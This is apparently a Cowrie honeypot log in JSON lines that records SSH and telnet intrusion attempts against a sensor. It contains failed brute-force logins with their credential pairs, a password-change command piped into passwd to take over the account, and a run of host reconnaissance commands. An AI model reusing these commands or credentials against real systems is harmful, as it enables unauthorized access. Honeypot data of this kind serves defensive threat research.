{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:10.920196Z","src_ip":"43.156.28.136","session":"29a28d02de8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":59056,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c0ea0d5d4d","protocol":"ssh","message":"New connection: 43.156.28.136:59056 (159.203.135.109:22) [session: 21c0ea0d5d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:11.138519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:11.143540Z","src_ip":"43.156.28.136","session":"21c0ea0d5d4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:11.373639Z","src_ip":"43.156.28.136","session":"21c0ea0d5d4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:12.325287Z","src_ip":"43.156.28.136","session":"21c0ea0d5d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.65600323677063,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:12.538751Z","src_ip":"152.42.224.71","session":"de0d132460b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:13.558765Z","src_ip":"43.156.28.136","session":"21c0ea0d5d4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:13.856978Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:13.860775Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.65337705612183,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:13.998372Z","src_ip":"152.42.224.71","session":"8fac8a08ddcc","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:14.336258Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:14.634678Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\n4KQHhvVWXB0V\\n4KQHhvVWXB0V\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\n4KQHhvVWXB0V\\n4KQHhvVWXB0V\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:14.638416Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:14.642225Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:14.645793Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8405eec396cea5305898ecc1fc922b9d5ac2915725ee17c6e55a41dc94532313","size":32,"shasum":"8405eec396cea5305898ecc1fc922b9d5ac2915725ee17c6e55a41dc94532313","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/8405eec396cea5305898ecc1fc922b9d5ac2915725ee17c6e55a41dc94532313 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:15.121654Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:15.415239Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\n4KQHhvVWXB0V\\n4KQHhvVWXB0V\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\n4KQHhvVWXB0V\\n4KQHhvVWXB0V\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:15.419200Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8f84f7800a032c9facc8a79f07f7fe5c0458aa156d7b9332c97986e5ac14e1a6","size":25,"shasum":"8f84f7800a032c9facc8a79f07f7fe5c0458aa156d7b9332c97986e5ac14e1a6","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/8f84f7800a032c9facc8a79f07f7fe5c0458aa156d7b9332c97986e5ac14e1a6 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:15.895446Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.199552Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.203660Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.680785Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.26318168640137,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.786199Z","src_ip":"152.42.224.71","session":"3503dc4ad87d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.977914Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:16.981661Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:17.457280Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35780,"dst_ip":"10.17.0.5","dst_port":23,"session":"4082cce0aace","protocol":"telnet","message":"New connection: 152.42.224.71:35780 (10.17.0.5:23) [session: 4082cce0aace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:17.577491Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:17.756191Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:17.759711Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:17.763479Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:18.240194Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:18.554656Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:18.559324Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:19.035983Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:19.327947Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:19.331684Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:19.807308Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:20.124053Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:20.127538Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:20.602206Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:21.045007Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:21.048985Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:21.527332Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:21.829902Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:21.834343Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:22.310163Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:22.594245Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:22.597791Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.073258Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.368950Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.372307Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9839d14ab3","protocol":"ssh","message":"New connection: 43.133.62.188:53692 (159.203.135.109:22) [session: 6c9839d14ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.379371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.384711Z","src_ip":"43.133.62.188","session":"6c9839d14ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.630195Z","src_ip":"43.133.62.188","session":"6c9839d14ab3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:23.850307Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.149389Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.152979Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82dd1570324","protocol":"telnet","message":"New connection: 152.42.224.71:35784 (10.17.0.5:23) [session: b82dd1570324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.169712Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.627546Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terra","password":"terra","message":"login attempt [terra/terra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.644234Z","src_ip":"43.133.62.188","session":"6c9839d14ab3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.916531Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:24.919706Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:25.394287Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
